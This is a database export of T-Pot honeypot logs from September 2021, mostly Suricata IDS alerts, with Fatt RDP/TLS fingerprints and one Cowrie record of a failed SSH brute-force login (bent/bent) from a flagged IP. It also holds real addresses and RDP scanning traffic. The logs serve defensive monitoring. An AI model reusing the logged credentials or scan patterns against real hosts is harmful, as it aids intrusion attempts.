36985	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:18.461468+03	2021-09-20 15:30:03.013869+03	{"_id": "HAYkA3wBvYTbRNuEi2be", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 14, "bytes_toclient": 0, "bytes_toserver": 1320}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:18.461468Z", "@timestamp": "2021-09-20T12:18:18.461Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36986	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:18.704899+03	2021-09-20 15:30:03.015868+03	{"_id": "HQYkA3wBvYTbRNuEi2be", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:18.704899Z", "@timestamp": "2021-09-20T12:18:18.704Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36987	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:18:19.00058+03	2021-09-20 15:30:03.017868+03	{"_id": "JAYkA3wBvYTbRNuEj2bG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:17.780049+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "94.232.41.165", "flow_id": 75776037611281, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 43796, "timestamp": "2021-09-20T12:18:19.000580Z", "@timestamp": "2021-09-20T12:18:19.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36988	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:19.199569+03	2021-09-20 15:30:03.02002+03	{"_id": "IwYkA3wBvYTbRNuEj2bG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:19.199569Z", "@timestamp": "2021-09-20T12:18:19.199Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36990	157.240.234.35	109.199.241.180	Suricata	2021-09-20 15:18:22.741413+03	2021-09-20 15:30:03.033892+03	{"_id": "KQYkA3wBvYTbRNuEm2aA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:22.741413+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 704804067102757, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 38032, "timestamp": "2021-09-20T12:18:22.741413Z", "@timestamp": "2021-09-20T12:18:22.741Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36991	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:18.453859+03	2021-09-20 15:30:03.035896+03	{"_id": "IAYkA3wBvYTbRNuEi2be", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 11, "bytes_toclient": 0, "bytes_toserver": 1050}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:18.453859Z", "@timestamp": "2021-09-20T12:18:18.453Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36992	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:18.462288+03	2021-09-20 15:30:03.036892+03	{"_id": "HgYkA3wBvYTbRNuEi2be", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:18.462288Z", "@timestamp": "2021-09-20T12:18:18.462Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36993	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:18.705556+03	2021-09-20 15:30:03.038891+03	{"_id": "IgYkA3wBvYTbRNuEi2be", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 15, "bytes_toclient": 0, "bytes_toserver": 1410}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:18.705556Z", "@timestamp": "2021-09-20T12:18:18.705Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36994	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:18:18.959675+03	2021-09-20 15:30:03.039892+03	{"_id": "HwYkA3wBvYTbRNuEi2be", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:18.959675Z", "@timestamp": "2021-09-20T12:18:18.959Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36995	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:18:19.96127+03	2021-09-20 15:30:03.041891+03	{"_id": "JQYkA3wBvYTbRNuEj2bG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:19.961270Z", "@timestamp": "2021-09-20T12:18:19.961Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36996	157.240.234.35	109.199.241.180	Suricata	2021-09-20 15:18:23.049488+03	2021-09-20 15:30:03.042892+03	{"_id": "KgYkA3wBvYTbRNuEm2aA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:22.741413+0000", "pkts_toclient": 0, "pkts_toserver": 4, "bytes_toclient": 0, "bytes_toserver": 342}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 704804067102757, "payload": "FwMDACIJfFoB7bVsTromPRqzCFCHZVQQoNkkjTRf1x7wScuPHQc6", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 38032, "timestamp": "2021-09-20T12:18:23.049488Z", "@timestamp": "2021-09-20T12:18:23.049Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\".|Z...lN.&=...P.eT...$.4_...I....:"}}	1	\N	\N	alert	\N	US
36997	157.240.234.35	109.199.241.180	Suricata	2021-09-20 15:18:22.881481+03	2021-09-20 15:30:03.043892+03	{"_id": "KAYkA3wBvYTbRNuEm2aA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:22.741413+0000", "pkts_toclient": 0, "pkts_toserver": 3, "bytes_toclient": 0, "bytes_toserver": 237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 704804067102757, "payload": "FwMDACIJfFoB7bVsTromPRqzCFCHZVQQoNkkjTRf1x7wScuPHQc6", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 38032, "timestamp": "2021-09-20T12:18:22.881481Z", "@timestamp": "2021-09-20T12:18:22.881Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\".|Z...lN.&=...P.eT...$.4_...I....:"}}	1	\N	\N	alert	\N	US
36998	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:18.212968+03	2021-09-20 15:30:03.045891+03	{"_id": "GQYkA3wBvYTbRNuEi2be", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:18.212968Z", "@timestamp": "2021-09-20T12:18:18.212Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
36999	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:18.459356+03	2021-09-20 15:30:03.046892+03	{"_id": "GwYkA3wBvYTbRNuEi2be", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:18.459356Z", "@timestamp": "2021-09-20T12:18:18.459Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
37000	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:18.460021+03	2021-09-20 15:30:03.047893+03	{"_id": "GgYkA3wBvYTbRNuEi2be", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 13, "bytes_toclient": 0, "bytes_toserver": 1230}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQMAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:18.460021Z", "@timestamp": "2021-09-20T12:18:18.460Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
37017	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:19:02.612906+03	2021-09-20 15:30:03.077892+03	{"_id": "AwYlA3wBvYTbRNuEOWcR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36356, "timestamp": "2021-09-20T12:19:02.612906", "@timestamp": "2021-09-20T12:19:02.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
37001	157.240.234.35	109.199.241.180	Suricata	2021-09-20 15:18:22.791479+03	2021-09-20 15:30:03.049894+03	{"_id": "KwYkA3wBvYTbRNuEm2aA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:22.741413+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 704804067102757, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 38032, "timestamp": "2021-09-20T12:18:22.791479Z", "@timestamp": "2021-09-20T12:18:22.791Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
37002	fe80:0000:0000:0000:2546:b562:3af0:9f02	109.199.241.180	Suricata	2021-09-20 15:18:18.458313+03	2021-09-20 15:30:03.050893+03	{"_id": "GAYkA3wBvYTbRNuEi2be", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:48.981176+0000", "pkts_toclient": 0, "pkts_toserver": 12, "bytes_toclient": 0, "bytes_toserver": 1140}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2546:b562:3af0:9f02", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1591246660106424, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:18:18.458313Z", "@timestamp": "2021-09-20T12:18:18.458Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
37003	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:18:18.460807+03	2021-09-20 15:30:03.052892+03	{"_id": "IQYkA3wBvYTbRNuEi2be", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:18:18.460807Z", "@timestamp": "2021-09-20T12:18:18.460Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
37004	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:19:00.095344+03	2021-09-20 15:30:03.054892+03	{"_id": "6AYlA3wBvYTbRNuELWZZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 56305, "dest_port": 3389, "timestamp": "2021-09-20T12:19:00.095344", "@timestamp": "2021-09-20T12:19:00.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
37005	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:19:00.479848+03	2021-09-20 15:30:03.056892+03	{"_id": "6gYlA3wBvYTbRNuEMGYG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:59.736384+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2195836326067328, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56305, "dest_port": 3389, "timestamp": "2021-09-20T12:19:00.479848Z", "@timestamp": "2021-09-20T12:19:00.479Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
37159	163.172.88.135	109.199.241.180	Cowrie	2021-09-20 15:20:00.442714+03	2021-09-20 15:30:03.29288+03	{"_id": "tQYmA3wBvYTbRNuEGWd_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.88.135", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.88.135", "eventid": "cowrie.login.failed", "message": "login attempt [bent/bent] failed", "session": "9b5108eea5ae", "@version": "1", "password": "bent", "username": "bent", "timestamp": "2021-09-20T12:20:00.442714Z", "@timestamp": "2021-09-20T12:20:00.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	FR
37006	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:19:00.479848+03	2021-09-20 15:30:03.057891+03	{"_id": "6wYlA3wBvYTbRNuEMGYG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:18:59.736384+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2195836326067328, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56305, "dest_port": 3389, "timestamp": "2021-09-20T12:19:00.479848Z", "@timestamp": "2021-09-20T12:19:00.479Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
